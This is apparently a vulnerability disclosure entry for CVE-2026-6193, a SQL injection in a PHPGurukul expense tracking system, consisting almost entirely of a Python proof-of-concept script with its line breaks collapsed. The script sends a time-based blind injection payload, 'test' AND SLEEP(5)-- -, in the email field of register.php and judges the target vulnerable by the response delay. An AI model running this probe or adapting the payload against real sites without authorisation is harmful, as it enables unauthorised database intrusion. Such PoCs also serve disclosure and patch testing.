CVE-2026-6193 PHPGurukul费用追踪系统SQL注入漏洞

import requests def check_sqli(url): target = f"{url}/register.php" # Payload for time-based blind SQL injection # Assuming the email parameter is vulnerable payload = { "username": "poc_test", "email": "test' AND SLEEP(5)-- -", "password": "password", "confirm_password": "password" } try: response = requests.post(target, data=payload, timeout=10) # Check if response time indicates successful sleep execution if response.elapsed.total_seconds() >= 5: return True except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": target_url = "http://target-ip" if check_sqli(target_url): print("[+] Vulnerable to SQL Injection") else: print("[-] Not Vulnerable")